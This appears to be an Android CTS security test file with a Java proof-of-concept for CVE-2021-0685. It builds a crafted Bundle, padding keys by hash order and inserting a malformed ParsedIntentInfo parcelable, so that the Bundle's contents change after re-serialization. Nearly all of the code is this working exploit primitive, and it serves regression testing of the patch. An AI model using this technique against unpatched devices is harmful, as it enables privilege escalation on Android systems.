| /* |
| * Copyright (C) 2021 The Android Open Source Project |
| * |
| * Licensed under the Apache License, Version 2.0 (the "License"); |
| * you may not use this file except in compliance with the License. |
| * You may obtain a copy of the License at |
| * |
| * http://www.apache.org/licenses/LICENSE-2.0 |
| * |
| * Unless required by applicable law or agreed to in writing, software |
| * distributed under the License is distributed on an "AS IS" BASIS, |
| * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. |
| * See the License for the specific language governing permissions and |
| * limitations under the License. |
| */ |
| |
| package android.security.cts.cve_2021_0685; |
| |
| import android.content.IntentFilter; |
| import android.os.Bundle; |
| import android.os.Parcel; |
| import android.text.TextUtils; |
| |
| import java.util.Random; |
| |
| public class PocAmbiguator { |
| private static final int BUNDLE_MAGIC = 0x4C444E42; |
| private static final int BUNDLE_SKIP = 12; |
| private static final int VAL_NULL = -1; |
| private static final int VAL_BUNDLE = 3; |
| private static final int VAL_PARCELABLE = 4; |
| private static final int VAL_OBJECTARRAY = 17; |
| private static final int VAL_INTARRAY = 18; |
| private static final int SIZE_RANDOM_STR = 6; |
| private static final int TIMER_MILLIS = 30 * 1000; |
| |
| public Bundle make(Bundle preReSerialize, Bundle postReSerialize) throws Exception { |
| Random random = new Random(1234); |
| int minHash = 0; |
| for (String s : preReSerialize.keySet()) { |
| minHash = Math.min(minHash, s.hashCode()); |
| } |
| for (String s : postReSerialize.keySet()) { |
| minHash = Math.min(minHash, s.hashCode()); |
| } |
| String key; |
| int keyHash; |
| long allowedTime = System.currentTimeMillis() + TIMER_MILLIS; |
| |
| do { |
| key = randomString(random); |
| keyHash = key.hashCode(); |
| } while (keyHash >= minHash && System.currentTimeMillis() < allowedTime); |
| |
| if (keyHash >= minHash) { |
| return null; |
| } |
| |
| if (!padBundle(postReSerialize, preReSerialize.size(), minHash, random)) { |
| return null; |
| } |
| if (!padBundle(preReSerialize, postReSerialize.size(), minHash, random)) { |
| return null; |
| } |
| |
| Parcel parcel = Parcel.obtain(); |
| |
| int sizePosition = parcel.dataPosition(); |
| parcel.writeInt(0); |
| parcel.writeInt(BUNDLE_MAGIC); |
| int startPosition = parcel.dataPosition(); |
| |
| parcel.writeInt(preReSerialize.size() + 1); |
| |
| parcel.writeString(key); |
| parcel.writeInt(VAL_OBJECTARRAY); |
| parcel.writeInt(3); |
| |
| parcel.writeInt(VAL_PARCELABLE); |
| parcel.writeString("android.content.pm.parsing.component.ParsedIntentInfo"); |
| new IntentFilter().writeToParcel(parcel, 0); |
| parcel.writeInt(0); |
| parcel.writeInt(0); |
| TextUtils.writeToParcel(null, parcel, 0); |
| parcel.writeInt(0); |
| |
| parcel.writeInt(VAL_INTARRAY); |
| parcel.writeInt(6); |
| parcel.writeInt(1); |
| parcel.writeInt(-1); |
| parcel.writeInt(0); |
| parcel.writeInt(VAL_NULL); |
| parcel.writeInt(VAL_INTARRAY); |
| parcel.writeInt(4); |
| |
| parcel.writeInt(VAL_BUNDLE); |
| parcel.writeBundle(postReSerialize); |
| writeBundleSkippingHeaders(parcel, preReSerialize); |
| |
| int bundleDataSize = parcel.dataPosition() - startPosition; |
| parcel.setDataPosition(sizePosition); |
| parcel.writeInt(bundleDataSize); |
| |
| parcel.setDataPosition(0); |
| Bundle bundle = parcel.readBundle(); |
| parcel.recycle(); |
| return bundle; |
| } |
| |
| private static void writeBundleSkippingHeaders(Parcel parcel, Bundle bundle) { |
| Parcel skipParcel = Parcel.obtain(); |
| bundle.writeToParcel(skipParcel, 0); |
| parcel.appendFrom(skipParcel, BUNDLE_SKIP, skipParcel.dataPosition() - BUNDLE_SKIP); |
| skipParcel.recycle(); |
| } |
| |
| private static String randomString(Random random) { |
| StringBuilder b = new StringBuilder(); |
| for (int i = 0; i < SIZE_RANDOM_STR; ++i) { |
| b.append((char) (' ' + random.nextInt('~' - ' ' + 1))); |
| } |
| return b.toString(); |
| } |
| |
| private static boolean padBundle(Bundle bundle, int size, int minHash, Random random) { |
| while (bundle.size() < size) { |
| String key; |
| long allowedTime = System.currentTimeMillis() + TIMER_MILLIS; |
| do { |
| key = randomString(random); |
| } while ((key.hashCode() < minHash || bundle.containsKey(key)) |
| && System.currentTimeMillis() < allowedTime); |
| bundle.putString(key, "PADDING"); |
| if (key.hashCode() < minHash) { |
| return false; |
| } |
| } |
| return true; |
| } |
| } |